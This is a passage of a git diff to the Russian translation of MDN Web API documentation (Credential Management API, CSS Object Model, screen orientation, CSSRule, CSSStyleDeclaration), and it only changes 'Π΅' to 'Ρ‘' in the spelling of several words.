<p>Π­Ρ‚ΠΎΡ‚ API ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ контСкстами Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня. Π’Ρ‹Π·ΠΎΠ²Ρ‹ <code>get()</code> ΠΈ <code>store()</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;iframe&gt;</code>Β Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡΒ Π±Π΅Π· эффСкта.</p>
</div>
-<h3 id="Π£Ρ‡Π΅Ρ‚Π½Ρ‹Π΅_Π΄Π°Π½Π½Ρ‹Π΅_ΠΎΠ±Ρ‰ΠΈΠ΅_для_ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°">Π£Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ±Ρ‰ΠΈΠ΅ для ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°</h3>
+<h3 id="Π£Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅_Π΄Π°Π½Π½Ρ‹Π΅_ΠΎΠ±Ρ‰ΠΈΠ΅_для_ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°">Π£Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ±Ρ‰ΠΈΠ΅ для ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°</h3>
-<p>Π‘ΠΎΠ»Π΅Π΅ поздняя вСрсия спСцификации позволяСт ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°. НапримСр, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, хранящийся Π² <code>login.example.com</code>, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π²Ρ…ΠΎΠ΄Π° Π½Π° <code>www.example.com</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ явно сохранСн ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("CredentialsContainer.store()")}}. Иногда это Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ сопоставлСниСм с общСдоступным списком суффиксов (PSL); ΠΎΠ΄Π½Π°ΠΊΠΎ спСцификация <em>Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚</em> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ PSL Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для опрСдСлСния Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ области ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡΒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ API.</p>
+<p>Π‘ΠΎΠ»Π΅Π΅ поздняя вСрсия спСцификации позволяСт ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°. НапримСр, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, хранящийся Π² <code>login.example.com</code>, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π²Ρ…ΠΎΠ΄Π° Π½Π° <code>www.example.com</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ явно сохранён ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("CredentialsContainer.store()")}}. Иногда это Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ сопоставлСниСм с общСдоступным списком суффиксов (PSL); ΠΎΠ΄Π½Π°ΠΊΠΎ спСцификация <em>Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚</em> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ PSL Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для опрСдСлСния Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ области ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡΒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ API.</p>
<h2 id="Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΡ‹">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΡ‹</h2>
@@ -33,13 +33,13 @@ translation_of: Web/API/Credential_Management_API
<dt>{{domxref("Credential")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ сущности Π² качСствС ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ условия для принятия Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠΈ.</dd>
<dt>{{domxref("CredentialsContainer")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для запроса ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ увСдомлСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° происходят события, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ Π²Ρ…ΠΎΠ΄ ΠΈΠ»ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄. Π­Ρ‚ΠΎΡ‚ интСрфСйс доступСн Π²Β <code>navigator.credentials</code>.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для запроса ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ увСдомлСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° происходят события, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ Π²Ρ…ΠΎΠ΄ ΠΈΠ»ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄. Π­Ρ‚ΠΎΡ‚ интСрфСйс доступСн Π²Β <code>navigator.credentials</code>.</dd>
<dt>{{domxref("FederatedCredential")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ поставщика ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Π΅Π±-сайт довСряСт для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт API для этой Ρ†Π΅Π»ΠΈ. <a href="http://openid.net/developers/specs/">OpenID Connect</a> являСтся ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ Ρ‚Π°ΠΊΠΎΠΉ структуры.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ поставщика ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Π΅Π±-сайт довСряСт для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт API для этой Ρ†Π΅Π»ΠΈ. <a href="http://openid.net/developers/specs/">OpenID Connect</a> являСтся ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ Ρ‚Π°ΠΊΠΎΠΉ структуры.</dd>
<dt>{{domxref("PasswordCredential")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΠ°Ρ€Π΅ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ пароля.</dd>
<dt>{{domxref("PublicKeyCredential")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π²Ρ…ΠΎΠ΄Π° Π² систСму с использованиСм ΠΏΠ°Ρ€Ρ‹ асиммСтричных ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, устойчивых ΠΊ Ρ„ΠΈΡˆΠΈΠ½Π³Ρƒ ΠΈ Π·Π°Ρ‰ΠΈΡ‚Π΅ ΠΎΡ‚ Π²Π·Π»ΠΎΠΌΠ° Π΄Π°Π½Π½Ρ‹Ρ…, вмСсто пароля.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π²Ρ…ΠΎΠ΄Π° Π² систСму с использованиСм ΠΏΠ°Ρ€Ρ‹ асиммСтричных ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, устойчивых ΠΊ Ρ„ΠΈΡˆΠΈΠ½Π³Ρƒ ΠΈ Π·Π°Ρ‰ΠΈΡ‚Π΅ ΠΎΡ‚ Π²Π·Π»ΠΎΠΌΠ° Π΄Π°Π½Π½Ρ‹Ρ…, вмСсто пароля.</dd>
</dl>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/css_object_model/index.html b/files/ru/web/api/css_object_model/index.html
index c9d2a9c8d6..6d2bebe453 100644
--- a/files/ru/web/api/css_object_model/index.html
+++ b/files/ru/web/api/css_object_model/index.html
@@ -199,7 +199,7 @@ translation_of: Web/API/CSS_Object_Model
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p>ВсС эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ постСпСнно добавлялись Π² Ρ€Π°Π·Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ постСпСнно: это Π±Ρ‹Π» довольно слоТный процСсс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ свСдСн Π² ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ. ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ интСрфСйсам для Π΅Π³ΠΎ доступности.</p>
+<p>ВсС эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ постСпСнно добавлялись Π² Ρ€Π°Π·Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ постСпСнно: это Π±Ρ‹Π» довольно слоТный процСсс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ свСдён Π² ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ. ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ интСрфСйсам для Π΅Π³ΠΎ доступности.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html
index 72ded83a4c..9fcf3ecf06 100644
--- a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html
+++ b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html
@@ -11,7 +11,7 @@ original_slug: Web/API/CSS_Object_Model/ориСнтация_экрана
<p>{{DefaultAPISidebar("Screen Orientation API")}}{{SeeCompatTable}}</p>
<p>ΠžΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡ экрана Π½Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π° <a href="/en-US/docs/WebAPI/Detecting_device_orientation">ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ устройства</a>.
-Π”Π°ΠΆΠ΅ Ссли устройство Π½Π΅ способно ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ своС ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС β€” экран ΠΌΠΎΠΆΠ΅Ρ‚ всСгда. А ΠΊΠΎΠ³Π΄Π° устройство Π·Π½Π°Π΅Ρ‚ свою ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ, Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ экрана для
+Π”Π°ΠΆΠ΅ Ссли устройство Π½Π΅ способно ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ своё ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС β€” экран ΠΌΠΎΠΆΠ΅Ρ‚ всСгда. А ΠΊΠΎΠ³Π΄Π° устройство Π·Π½Π°Π΅Ρ‚ свою ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ, Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ экрана для
сохранСния ΠΈΠ»ΠΈ Π°Π΄Π°ΠΏΡ‚Π°Ρ†ΠΈΠΈ интСрфСйса Π²Π΅Π±-прилоТСния.</p>
<p>Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ экрана доступно Π² CSS ΠΈ JavaScript.
@@ -77,7 +77,7 @@ li {
}
</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ разбСрСмся с ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ страницы Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… случаях ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ разбСрёмся с ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ страницы Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… случаях ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ.</p>
<pre class="brush: css notranslate">/* Для ΠΏΠΎΡ€Ρ‚Ρ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠΌ панСль Π½Π° Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ Ρ‡Π°ΡΡ‚ΡŒ области отобраТСния */
@@ -138,7 +138,7 @@ li {
</div>
<p>НСкоторыС устройства (Π² основном ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅) ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ экрана Π² соотвСтствии с ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ самого устройства для удобства восприятия ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.
-Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для тСкста, Π½ΠΎ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ содСрТимоС Ρ‚Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ воздСйствиС. НапримСр, это трагичная ситуация для ΠΈΠ³Ρ€Ρ‹, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ.</p>
+Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для тСкста, Π½ΠΎ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ содСрТимоС Ρ‚Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ воздСйствиС. НапримСр, это трагичная ситуация для ΠΈΠ³Ρ€Ρ‹, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ.</p>
<p>Π£Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ вопрос, связанный с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ полоТСния экрана, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ интСрфСйс Screen Orientation API.</p>
diff --git a/files/ru/web/api/cssrule/index.html b/files/ru/web/api/cssrule/index.html
index 5a88b7c8c2..76b240cde2 100644
--- a/files/ru/web/api/cssrule/index.html
+++ b/files/ru/web/api/cssrule/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/CSSRule
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <strong>CSSRule </strong>прСдставляСт собой ΠΎΠ΄Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ CSS. Π•ΡΡ‚ΡŒ нСсколько Ρ‚ΠΈΠΏΠΎΠ² ΠΏΡ€Π°Π²ΠΈΠ», пСрСчислСнных Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ {{anch("Type constants")}} Π½ΠΈΠΆΠ΅.</p>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ CSSRule опрСдСляСт ΠΎΠ±Ρ‰ΠΈΠ΅ свойства для всСх ΠΏΡ€Π°Π²ΠΈΠ», Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ свойства характСрныС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΏΡ€Π°Π²ΠΈΠ» ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² Π±ΠΎΠ»Π΅Π΅ спСциализированных интСрфСйсах для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² этих ΠΏΡ€Π°Π²ΠΈΠ».</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ CSSRule опрСдСляСт ΠΎΠ±Ρ‰ΠΈΠ΅ свойства для всСх ΠΏΡ€Π°Π²ΠΈΠ», Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ свойства характСрныС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΏΡ€Π°Π²ΠΈΠ» ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² Π±ΠΎΠ»Π΅Π΅ спСциализированных интСрфСйсах для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² этих ΠΏΡ€Π°Π²ΠΈΠ».</p>
<p>Бсылки Π½Π° CSSRule Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π° страницС {{domxref ("CSSStyleSheet")}} список cssRules.</p>
diff --git a/files/ru/web/api/cssstyledeclaration/index.html b/files/ru/web/api/cssstyledeclaration/index.html
index 78e34cc76f..adee955447 100644
--- a/files/ru/web/api/cssstyledeclaration/index.html
+++ b/files/ru/web/api/cssstyledeclaration/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/CSSStyleDeclaration
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <strong><code>CSSStyleDeclaration</code></strong> прСдставляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ Π±Π»ΠΎΠΊΠΎΠΌ объявлСния CSS, ΠΈ прСдоставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ связанныС со стилСм ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства.</p>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>CSSStyleDeclaration</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСн с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Ρ€Π΅Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… API:</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>CSSStyleDeclaration</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСн с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Ρ€Ρ‘Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… API:</p>
<ul>
